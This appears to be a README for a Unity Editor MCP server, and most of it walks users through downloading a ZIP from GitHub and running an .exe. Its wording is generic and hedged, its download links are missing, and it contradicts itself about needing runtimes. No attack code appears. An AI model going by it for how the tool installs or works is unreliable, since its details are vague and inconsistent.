unityxclaude is a local MCP server for Unity Editor. It gives you one place to control Unity with 20 editor tools.
Use it to work with:
- scripts
- scenes
- components
- assets
- builds
It runs in C# and uses raw socket polling. It does not depend on async work, ThreadPool calls, or external runtimes. That keeps the control path direct and responsive.
Before you install unityxclaude, make sure your PC has:
- Windows 10 or Windows 11
- Unity Editor installed
- .NET Desktop Runtime or a similar C# runtime if the release needs it
- A modern web browser to open the GitHub page
- Enough free disk space for Unity and the app files
Best results come from a system with:
- 8 GB RAM or more
- A recent Intel or AMD CPU
- Unity 2021 LTS, 2022 LTS, or newer
Visit this page to download:
Use the page to get the Windows build or the latest release files.
Follow these steps in order.
Open:
Look for the latest release or the main download files. If you see a ZIP file, download it to your PC.
When the browser asks where to save the file:
- choose your Downloads folder, or
- choose a folder you can find again, such as Desktop
If the file is a ZIP archive, keep it in that folder for the next step.
If you downloaded a ZIP file:
- right-click the ZIP file
- choose Extract All
- pick a folder with an easy path, such as
Downloads\unityxclaude
After extraction, you should see the app files in a normal folder.
Open the extracted folder and look for the main Windows app file.
Common file names may include:
unityxclaude.exeUnityxClaude.exe- a launcher with a similar name
Double-click the file to start it.
If Windows asks for permission, choose Run or Yes.
Start Unity Editor with the project you want to control.
unityxclaude works as a bridge between your local tools and the Unity Editor session.
Use the appβs local settings or connection field to point it at your Unity Editor session.
Typical setup values may include:
- localhost address
- a local port number
- a project path if the app asks for one
Keep both apps open while you work.
After the connection is ready, try a basic task first:
- list scenes
- inspect the active object
- check a component
- read an asset path
This helps confirm that the connection works before you use larger actions like builds or scene edits.
unityxclaude gives you editor control through tools that map to common Unity tasks.
You can work with script files and script-related editor actions, such as:
- open script assets
- find script references
- inspect script-linked components
You can manage scene work, such as:
- open a scene
- read scene content
- inspect scene objects
- switch between scenes
You can inspect and change components on GameObjects, such as:
- view attached components
- update values
- check object setup
You can work with assets in the project, such as:
- find assets
- read asset data
- inspect folder structure
- locate imported files
You can use build-related tools for tasks like:
- check build settings
- prepare a build
- run a build step
- inspect build paths
This tool is useful when you want to avoid repeated manual clicks in Unity Editor.
A simple workflow looks like this:
- open your Unity project
- start unityxclaude
- connect the app to the editor
- use the tools you need
- keep working in Unity while the tool handles editor tasks
This can help when you:
- review a large project
- move through many scenes
- check object settings
- repeat setup steps
- prepare build files
If the app does not connect right away, check these items:
- Unity Editor is open
- the app is running
- the port or local address matches in both places
- Windows Firewall is not blocking local traffic
- you downloaded the latest version from the GitHub page
If the app opens but nothing happens in Unity, restart both apps and try again.
A simple folder setup can help keep things organized:
Downloads\unityxclaudefor the app filesDocuments\Unity Projects\for your Unity work- a separate folder for release ZIP files
Keeping the app and your Unity project in easy-to-find folders makes setup faster.
If you have never used a GitHub download before, follow this flow:
- open the GitHub page
- find the latest release or file list
- download the Windows file
- extract it if needed
- run the app
- open Unity
- connect both tools
- test one editor action
That is the full setup path for most Windows users
Here are simple ways you may use unityxclaude:
- check whether a scene has the right objects
- inspect a component value before a build
- find asset paths in a large project
- move through editor tasks without hunting through menus
- keep control over Unity from one local tool
unityxclaude runs as a local tool for Unity Editor control.
It uses:
- C# code
- raw socket polling
- local editor communication
It does not depend on cloud runtime steps for the core connection path.
This project is built for:
- Unity users who want direct editor control
- people who work on game projects
- users who want local automation
- users who want a simple bridge into Unity Editor
ai, automation, claude, csharp, editor-tools, gamedev, mcp, model-context-protocol, unity, unity3d
If you need the files again, use this link:
- open the GitHub link
- download the Windows file
- unzip it if needed
- run the app
- open Unity Editor
- connect the app to your project
- test one tool first